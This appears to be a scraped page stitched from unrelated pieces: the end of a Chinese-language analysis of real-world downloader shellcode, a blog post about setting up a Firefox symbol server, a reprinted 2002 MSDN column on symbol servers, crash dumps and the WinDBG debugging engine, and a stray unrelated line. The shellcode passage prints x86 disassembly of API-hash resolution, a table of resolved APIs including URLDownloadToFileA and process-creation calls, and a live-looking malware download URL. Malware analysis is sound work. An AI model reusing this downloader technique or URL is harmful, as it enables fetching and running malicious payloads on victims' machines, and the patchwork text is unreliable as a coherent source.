00407258 03C5 add eax, ebp
0040725A 33DB xor ebx, ebx
0040725C 0FBE10 movsx edx, byte ptr [eax]
0040725F 3AD6 cmp dl, dh
00407261 74 08 je short 0040726B
00407263 C1CB 07 ror ebx, 7
00407266 03DA add ebx, edx
00407268 40 inc eax
00407269 ^ EB F1 jmp short 0040725C
0040726B 3B1F cmp ebx, dword ptr [edi]
0040726D ^ 75 E7 jnz short 00407256
0040726F 5E pop esi
00407270 8B5E 24 mov ebx, dword ptr [esi+24]
00407273 03DD add ebx, ebp
00407275 66:8B0C4B mov cx, word ptr [ebx+ecx*2]
00407279 8B5E 1C mov ebx, dword ptr [esi+1C]
0040727C 03DD add ebx, ebp
0040727E 8B048B mov eax, dword ptr [ebx+ecx*4]
00407281 03C5 add eax, ebp
00407283 AB stos dword ptr es:[edi]
00407284 5E pop esi
00407285 59 pop ecx
00407286 C3 retn
00407287 E8 96FDFFFF call 00407022 ; (7)call回來,這裡要F7

代碼內容在這裡結束,後面是數據區,包括保存的API函數的地址(shellcode開始時為加密值,找到API地址後被替換為地址)以及下載的病毒URL,shellcode中屢屢用[esi+XX]的方式來訪問這部分內容,依照相對偏移依次為:

0x00 LoadLibraryA
0x04 GetTempPathA
0x08 DeleteFileA
0x0C CreateProcessInternalA
0x10 ExitThread,
0x14 VirtualProtect
0x18 CreateProcessInternalW
0x1C CompareFileTime
0x20 GetSystemTimeAsFileTime
0x24 ZwCreateProcessEx
0x28 ZwWriteVirtualMemory
0x2C URLDownloadToFileA
0x30 搜索到的一句可用為retn的代碼地址
0x34 ASCII "http://www.0x4f.cn/test.exe"

至此,該shellcode分析完畢。應該說它是我見到的在實際應用中功能較為齊全的shellcode了,作者的一些構思都是有明顯實用目的的傾向的,也看出作者對編寫shellcode有一定的經驗和能力。

本篇分析只涉及shellcode所作的動作,對於此漏洞如何被觸發並使得shellcode被執行,因能力所限尚未能探究出來。

本人能力有限,這方面只是個菜鳥,以上分析難免有錯漏之處,還請大家不吝指正。

20080512

Setting up a Symbol Server Sandbox

After today’s IRC chat with luser, I now have a list of things to do in order to acheive 0.1:

  • set up a localhost server
  • make buildsymbols from my own build
  • load those symbols onto the local server
  • connect them up to my debugger to make sure it all works
  • get the microsoft scripts to work adding source code to my local pdb files
  • so that the debugger can access the source code from being pointed to my server

Starting off, I set up IIS on my computer so that I can have a localhost webserver. This was a bit tricky with some unexpected authentication issues but I think that I have it working now. If I point my browser to http://localhost/symbolServer/ I have a directory of the pdb files that I created by calling make buildsymbols in my objdir.

The next move was to point my debugger (Visual Studio 2005) to the localhost symbol server. However, this is where I got stuck. I could load up the microsoft symbols but it would skip right over my firefox ones.

So I’m going back to square 1. I’m rebuilding with debug disabled because this may be a part of the issue. If this doesn’t work I need to look into either a) symbol server directory structure because maybe I’m missing something about the hierarchy or b) perhaps my IIS set-up authentication issues are preventing VStudio from accessing the symbols.

Of course, in the back of my head I know it could also be c) something else entirely.

Back to the building.

--------------------------------我是分隔線------------------------------------------------------------

From the June 2002 issue of MSDN Magazine.
MSDN Magazine
Symbols and Crash Dumps
Download the code for this article: Bugslayer0206.exe (671KB)
I
don't know about you, but in my day job I'm bouncing back and forth so much between .NET and Win32® that my head is spinning. In this month's installment of Bugslayer, I want to discuss some very cool advances that Microsoft® has developed to make debugging your Win32-based applications easier. Anything you can do to stamp out those Win32 bugs faster means you can spend more time playing with your XML Web Services!
I'll start out this column by covering the hot new symbol server technology that will revolutionize how you deal with symbols and stack traces. After a tour of the symbol heaven, I'll discuss the new crash dump handling in Visual Studio® .NET as well as the new WinDBG so you can debug crashes after the fact just as if you were there. The last part of the column will be devoted to a utility that will quickly pull the important information out of crash dumps so you don't even have to open them in the debuggers!

Symbol Servers

Getting the correct symbols lined up between your application and the operating system is the secret to debugging faster. You know what happens when you don't get them coordinated; you get that beautiful call stack that has exactly one item in it. The reason symbols are so vital is that the Frame Pointer Omission (FPO) data is included as part of the PDB file. While you might think you have it tough messing with symbols, imagine how hard the Windows® operating system developers' lives must be. Whereas you have an application you might think is pretty big, the operating system developers have the largest commercial application in the world. I know people on the operating system team at Microsoft and I've asked if they get any help from the users debugging their applications. They all have laughed and told me that they get as much help with the operating system as I got when I was writing developer tools for a living. In other words, none.
Of course, they have many more versions of the operating system running at any given time than you could ever imagine. During a development cycle they might have anywhere up to 10,000 different builds running around the world. If you think you have trouble getting symbols to match, you have nothing on them!
Developers at Microsoft realized they had to do something to make life easier for themselves as well as their customers. Thus was born Symbol Servers. The concept is simple: store all the symbols for all public builds in a known location and make the debuggers smarter so they load the correct symbols without any user interaction. The beauty is that the reality is nearly that simple as well! There are a few small issues, which I'll point out in this column, but with the Symbol Server properly set up, you'll never want for symbols again.
The first step towards symbol nirvana is to download the latest version of WinDBG from http://www.microsoft.com/ddk/debugging as the Symbol Server binaries are developed by the WinDBG team. You will want to check back for updated versions of WinDBG, as the team seems to be on a fairly quick release schedule and are releasing updated versions every few months. After installing WinDBG, add the installation directory to the master PATH environment variable. The two key binaries, SYMSRV.DLL and SYMSTORE.EXE, must be accessible to read from and write to your Symbol Servers.

Figure 1 SYMSRV
Figure 1 SYMSRV

The Symbol Store itself is simply a database that happens to use the file system to find the files. Figure 1 shows a partial listing from Explorer of the tree for the Symbol Server on one of my computers. The root directory is WebSymbols, and each symbol file, such as ADVAPI32.PDB, is listed at the first level. Under each symbol file name is a directory that corresponds to the date/time stamp, signature, and other information necessary to completely recognize a particular version of that symbol file. Keep in mind that if you have multiple versions of a file such as ADVAPI32.PDB for different operating system builds, you'll have multiple directories under ADVAPI32.PDB for each unique version you have accessed. In the signature directory, you'll probably have the particular symbol file for that version. There are provisions for having special text files to point to other locations in the Symbol Store, but by following my recommendation, you'll have the actual symbol files.
Actually creating your Symbol Server takes two excruciatingly difficult steps. First, create a folder on a server giving everyone in the development team read and write access and ensure that you have plenty of disk space available. Second, share that folder for all developers. You'll probably want the server and share name to be something like \SymbolsSymbols or something easily remembered.
The absolute beauty of the Symbol Server reveals itself when you populate it with operating system symbols. If you've been a good bugslayer over the years, you are probably already installing the operating system symbols on your machine. That's always been a little frustrating as you probably have a few hot fixes installed and certain operating system symbols never include the hot fix symbols. The great news with Symbol Servers is that you can be guaranteed of always getting the right operating system symbols with no work whatsoever! This is a huge boon.
The magic here is that Microsoft has made the symbols for all released operating systems, from Windows NT® 4.0 through the latest beta release of Windows Server 2003, including all operating system hot fixes, ready for download. To experience the magic, you need to set your _NT_SYMBOL_PATH environment variable to SRV*\SymbolsSymbols* http://msdl.microsoft.com/download/symbols. Please note that I am assuming that your symbol store will be on a server called \Symbols in a shared folder called Symbols. If yours are different, just substitute your values.
When you next start debugging, the debuggers will see that _NT_SYMBOL_PATH is set, automatically start downloading the operating symbols from Microsoft over HTTP, and put them in your Symbol Store if the symbol file has not already been downloaded. Remember, the Symbol Server will only download the symbols it needs, not every single operating system symbol. That's why putting the Symbol Store in a shared directory is so important; if one of your teammates has already downloaded the symbol, you avoid a potentially long download.
That takes care of the appropriate operating system symbols, so let's turn to getting your product symbols into the Symbol Server. SYMSTORE.EXE is a command-line utility that lets you add to your Symbol Store whole directory trees that contain symbols. SYMSTORE.EXE has a number of command-line switches (see Figure 2).
The best way to use SYMSTORE.EXE is to have it automatically add your complete build tree at the end of a daily build or milestone build. You probably do not want to have developers adding their local builds unless you are really into chewing up tons of disk space. For example, the following command will store all PDB and binary files in your symbol store for all directories found under D:BUILDRELEASE, inclusive:
symstore add /r /f d:buildrelease*.* /s \SymbolsSymbols /t "MyApp" /v "Build 632" 
It's nice to have the binaries stored in your Symbol Store so your crash dumps can automatically line up the binaries, but you can eat up a lot of disk space doing that. If you only want to include the PDB files, you can use the following:
symstore add /r /f d:buildrelease*.PDB /s \SymbolsSymbols /t "MyApp" /v "Build 632" 
There's lots more to read about SYMSTORE.EXE and Symbol Servers in the WinDBG documentation under Symbols; what I have discussed here are the steps that I have found to work well for me. I've been amazed how well the Symbol Server works and have been able to debug much faster because I nearly always have perfect call stacks.

Crash Dumps

What's really fantastic about Symbol Servers is that both WinDBG and Visual Studio .NET will use them if you are reading crash dumps as well. Just in case you are coming from one of those other operating systems, crash dumps are what Microsoft calls the user mode dump of the process when it crashes. Dr. Watson, the default debugger, writes crash dumps if you check the Create Crash Dump button shown in Figure 3. As you can guess, crash dumps are almost the next best thing to sitting there watching the application crash.

Figure 3 Create Crash Dump
Figure 3 Create Crash Dump

As most folks realize, WinDBG has been able to read and process crash dumps for quite a while. What might be news though is that Visual Studio .NET can also handle crash dumps perfectly. That's great, because the UI of WinDBG takes minimalism to a new level.
Handling a crash dump is quite easy in Visual Studio .NET, but getting one opened is a little confusing. Start with a fresh instance of Visual Studio .NET and select Open Solution from the File menu. In the File Open dialog, select the fifth item down in the Files of Type combo box, Dump Files (*.dmp; *.mdmp). Navigate to the directory with your crash dump file and open it. That will create a new solution which you'll need to save. To start viewing the crash dump, simply press one of the debugging keys such as F5 (Go) or F10 (Step). You'll see the message box pop up reporting the error and, if you have all the appropriate symbols and source, you'll be dropped right on the line where you had the crash. It's that simple!
Both debuggers can write out crash dumps at any point during debugging. I do this frequently when tracking down tough problems so I can quickly look at the various stages I saw when debugging. This saves huge amounts of time.
Writing a dump from Visual Studio .NET is as simple as clicking on the Debug menu while debugging and selecting the last item on the menu, Save Dump As. Visual Studio .NET can write out two types of crash dumps. The minidump contains module information, such as name and date/time stamp, and the call stacks of all the threads. Minidumps are very small, on the order of 3-10KB. A minidump with heap, on the other hand, writes out the same information but also writes out all the memory marked as allocated memory. This way you can look at what pointer variables point to. Minidumps with heap are quite a bit larger; for simple "Hello World!" programs they're on the order of 2.5MB.
In WinDBG, creating crash dumps is done with the .dump command. One additional feature of WinDBG's crashes is that you also have all the handle data for the process stored in the crash dump with the .dump/mh command. With the !handle command you can then see the exact state of your handles right from the crash dump. This is invaluable for tracking down deadlocks.
You can even write out your own crash dumps at any time by calling the MiniDumpWriteDump API function from DBGHELP.DLL. Keep in mind that you must use the latest version of DBGHELP.DLL from the WinDBG installation in order for this function to work correctly. The only gotcha is that if you call MiniDumpWriteDump on yourself, your crash dump will start in the middle of MiniDumpWriteDump, which might mean you can't walk the stack back to your own code. Thus, BugslayerUtil.DLL contains a function called CreateCurrentProcessMiniDump that will properly wrap the call to MiniDumpWriteDump so you can get the best crash dumps possible just when you need them.

The Debugging Engine

While it's wonderful to have crash dumps, you always do the same thing when you load them up; you enumerate the threads so you can see where each one is. Since I am basically lazy, I wanted a tool that would just give me the information I always looked for so I didn't even have to start the debugger. I started poking through the docs looking for a way to read dump files and eventually ran across a mention that WinDBG is really a shell on top of a debugging engine. I figured if I could get the interface to that debugging engine, I could easily write a tool to dump the cool stuff. Hidden in the WinDBG installation is a node that says SDK, but is not set to install by default. I set it to "Will be installed on local hard drive" and got the header files and libraries for DBGENG.DLL, the debugger engine.

Figure 4 Setting Up the WinDBG SDK
Figure 4 Setting Up the WinDBG SDK

If you look at Figure 4, which shows what you need to do to install the WinDBG SDK, you'll notice there's not an installation node for Documentation. What makes using DBGENG.DLL fun is that the only documentation is the comment section in the header file DBGENG.H. For the most part, the comments can get you going, but until there's full documentation, you are going to have to spend some time playing with parameters to figure out what some APIs expect (see Figure 5). Oddly, the interface appears like it's all COM-based. While it uses interfaces, it does not use OLE32.DLL at all. Think of the API as pseudo-COM. It's also pseudo-COM in the sense that you get all the pain of reference counting, but none of benefits of enumerators and the like.
Another issue with the interface is that it is essentially the internal interface to WinDBG. Some of the interfaces and methods return items in what is obviously internal WinDBG format. Additionally, the engine outputs lots of text messages that could make your application look just like the WinDBG Command window if you don't suppress it. All in all, the fact that there is a debugging engine more than makes up for the quirks in the interface. In Figure 5, I list only the most derived interfaces as it looks like the "2" interfaces are the latest and most complete. Since you can't call CoCreateXxx on the debugging engine interfaces, DBGENG.DLL exports two functions, DebugConnect and DebugCreate, to create the specific interfaces for you.
The best way to get started with the debugging engine is to compile and carefully step through the DUMPSTK sample included with the SDK installation. The only problem is that it doesn't work. DUMPSTK is supposed to dump the call stacks for a dump file. I nearly drove myself nuts wondering why the code did not work as expected.
The key method to get the debugging engine cranking is IDebugControl::WaitForEvent. Whenever DUMPSTK calls it, it always returns E_INVALIDARG. Since it only takes two unsigned longs, the flags to indicate what you are waiting on, such as the initial breakpoint, and the time to wait, I was completely confused. It slowly dawned on me that DBGENG.DLL was complaining that the image path and symbols path were not both set. I set the environment variable _NT_IMAGE_PATH, thinking it might get picked up, and all of a sudden IDebugControl::WaitForEvent started working. There's nothing like returning values that have no relationship at all to the actual error!
Once I got DUMPSTK limping along, it proved useful. It's small enough to get your head around but actually does something handy. Also, I recommend you spend some time reading the complete DBGENG.H header file. As you can see from the list in Figure 5, the information you might need to solve a problem with the debugging engine is scattered across multiple interfaces.
When I first started looking at the debugging engine, I could see all sorts of very cool debugging and analysis utilities that I would like to write when my commercial programs crash at the customer's site. The good news is that DBGENG.DLL is part of the Windows XP and Windows Server 2003 operating systems. To use it legally on Windows 2000, your customers must download the complete WinDBG package and install it on their machines.

The Crash Dump Information Dumper

Now that I've covered the debugging engine's interfaces, I want to describe the DMPINFO program I wrote. I have always wanted a program that could tell me the important information from a user mode crash dump. When I open a user mode crash dump in Visual Studio .NET and WinDBG, I always do the same operations, so I wanted to automate them. DMPINFO is also a much more complete sample on how to use the debugging engine's interfaces.
Using DMPINFO is trivial; just type DMPINFO in a command prompt followed by the user-mode crash dump file you want to dump. The DMPINFO outputs the system information from the user-mode crash dump, the loaded modules in the crash dump, the registers of the crashing thread, a disassembly for the crashing thread, and the call stack with all local variables. If you want to see all threads, pass -a on the command line. You can also pass in the specific source paths, symbols paths, and image paths. When looking at the DMPINFO output, you might notice that module symbol types are Document Interchange Architecture (DIA) even though you have PDB files. DBGENG.H defines the DIA symbol type and DIA appears to be the new symbol format for Visual Studio .NET. However, all PDB symbols are reported as DIA.
I wrote DMPINFO with release 4.00.0018.0 of DBGENG.DLL. There are two bugs in DBGENG.DLL that you might see from DMPINFO. The system information values don't look right and occasionally the locals are not displayed for a stack scope. If you are running a debug build of DMPINFO, you will see an assertion message box. For some reason, DBGENG.DLL stops calling the IDebugOutputCallbacks interface so DMPINFO can't display locals. I'll discuss this problem in more detail later.
It actually took me quite a while to write DMPINFO because I had to spend so much time in trial and error development. The documentation is not bad in DBGENG.H; it's just not complete. Consequently, I had to try passing different parameters in all the time to get the results I wanted. You will see more assertions in DMPINFO.CPP than in any program you have ever seen because I needed to know instantly when something failed.
The first issue I ran into was that the debugging engine spews quite a bit of output, which gets in the way. I set up my own interface, IBetterDebugOutputCallbacks, derived from IDebugOutputCallbacks, so that I could filter out the debugging engine output that I didn't want to see. You can see the work in OUTPUT.H and OUTPUT.CPP available from my downloadable source sample. Fortunately, the output all seems to occur when you load a crash dump, so I could just turn off output until I was finished getting everything loaded. Use the -v command line switch on DMPINFO's command line in order to see all output.
The next issue I ran into was that there does not seem to be a way to determine if loaded symbols are programmatically mismatched with the binary. The debugging engine will output the mismatch when you load the crash dump so that engine knows about the mismatch. I hope that Microsoft will add a method to IDebugSymbols or a new field to the DEBUG_MODULE_PARAMETERS structure so you can find the mismatches.
My goal for DMPINFO was to show how to do all the work without using some of the easy methods of some of the interfaces. That way you would have a stronger sample and would have an idea how to apply the techniques yourself. When it came time for me to do the disassembly part of DMPINFO, I have to admit I wimped out. It's impossible to disassemble backwards in IA32 assembly language because the instructions are variable length, so I was not looking forward to grinding through an algorithm to get everything lined up so I could show 15 instructions before the instruction pointer. The output from IDebugControl->OutputDisassemblyLines wasn't what I wanted because I couldn't stick in a little pointer prefix, which indicated the instruction pointer. The output is just a blob of text. OutputDisassemblyLines will do all the work to find the instruction starts in the disassembly and return them as an array. When I saw that OutputDisassemblyLines would do the work for me, I punted! I turned off output, called OutputDisassemblyLines so I could get the offsets of all the instructions starts, then called IDebugControl->Disassemble so I could format the lines as I wanted.
I spent what seemed like forever wrestling with the final part of DMPINFO: getting the local symbols. The first problem was that I could not figure out how to get the local symbols loaded after I set the scope. After calling IDebugSymbols->SetScope, I could see that I needed to call IDebugSymbols->GetScopeSymbolGroup. When I called IDebugSymbolGroup->GetNumberSymbols, I always got back that there were zero symbols. After nearly giving up, I finally asked Microsoft how to get local symbols. You have to pass the "*" string to IDebugSymbolGroup->AddSymbols to get the locals loaded into the IDebugSymbolsGroup. You can take a look at all of this in action in the OutputScopeSymbols function in DMPINFO.CPP.
Once I got the locals loaded, I thought I was on my way. That's when I ran into the biggest problem of the current IDebugSymbolGroup interface: there's no way to enumerate local symbols values! You can call IDebugSymbolGroup->GetSymbolName to get the name of a symbol index. What's missing are two methods, GetSymbolType and GetSymbolValue. You can get the type in a roundabout way by calling IDebugSymbolGroup->GetSymbolParameters to get the DEBUG_SYMBOL_PARAMETERS structure for a symbol. In there is a TypeId field which you can call IDebugSymbols->GetTypeName (notice it's a different interface). That's two thirds of the information, but it doesn't have the all-important value. I called IDebugSymbolGroup->OutputSymbols and that did output all the symbol information, but in this very strange format:
<name>**NAME**<value>**VALUE**<offset>**OFF**<type>**TYPE** 
The debugging engine outputs all symbols in this format packed end-to-end in a giant string. I especially liked the fact that a common value "*" (think pointer) was used as a delimiter. Since there is no other way to get values, I had to trap the string and parse it up to show them. I certainly hope that future releases of the debugging engine will fix this oversight.

Wrap Up

Getting a Symbol Server set up is so important I urge you to stop reading right now and get one set up for your organization! It will make your debugging life so much easier. Also, armed with the new crash dump handling in Visual Studio .NET and WinDBG, getting rid of bugs should be even easier. Finally, I hope I was able to help you get over some of the same hurdles I ran into when I started with DBGENG.DLL. While it might have a few quirks, it's still a work in progress and will only get better with time. I encourage you to think about the possibilities and start creating some of those debugging tools you've always wanted!

Da Tips!

The sweet smell of flowers in the spring should help you think of even more tips. Send your tips to me at john@wintellect.com.
Tip 53 If you have any really tough debugging problems, the new WinDBG documentation has a couple of excellent discussions in the Debugging Techniques section.
Tip 54 John Maver reports a cool trick with the Visual Studio .NET debugger. If you have a line like this
HeapFree ( GetProcessHeap ( ) , 0 , lpdwPIDs ) ; 
and if you want to step into HeapFree, but not GetProcessHeap, put your cursor on HeapFree, right-click, and choose Step Into HeapFree. The text changes based on where you place your cursor. I like this one so much I assigned the shortcut Ctrl-Alt-F11 to it.

Send questions and comments for John to slayer@microsoft.com.
John Robbins is a cofounder of Wintellect, a software consulting, education, and development firm that specializes in programming in .NET and Windows. He is the author of Debugging Applications (Microsoft Press, 2000) and the upcoming Debugging .NET and Win32 Applications also from Microsoft Press. You can contact John at http://www.wintellect.com.

 
PUMA螢光夜跑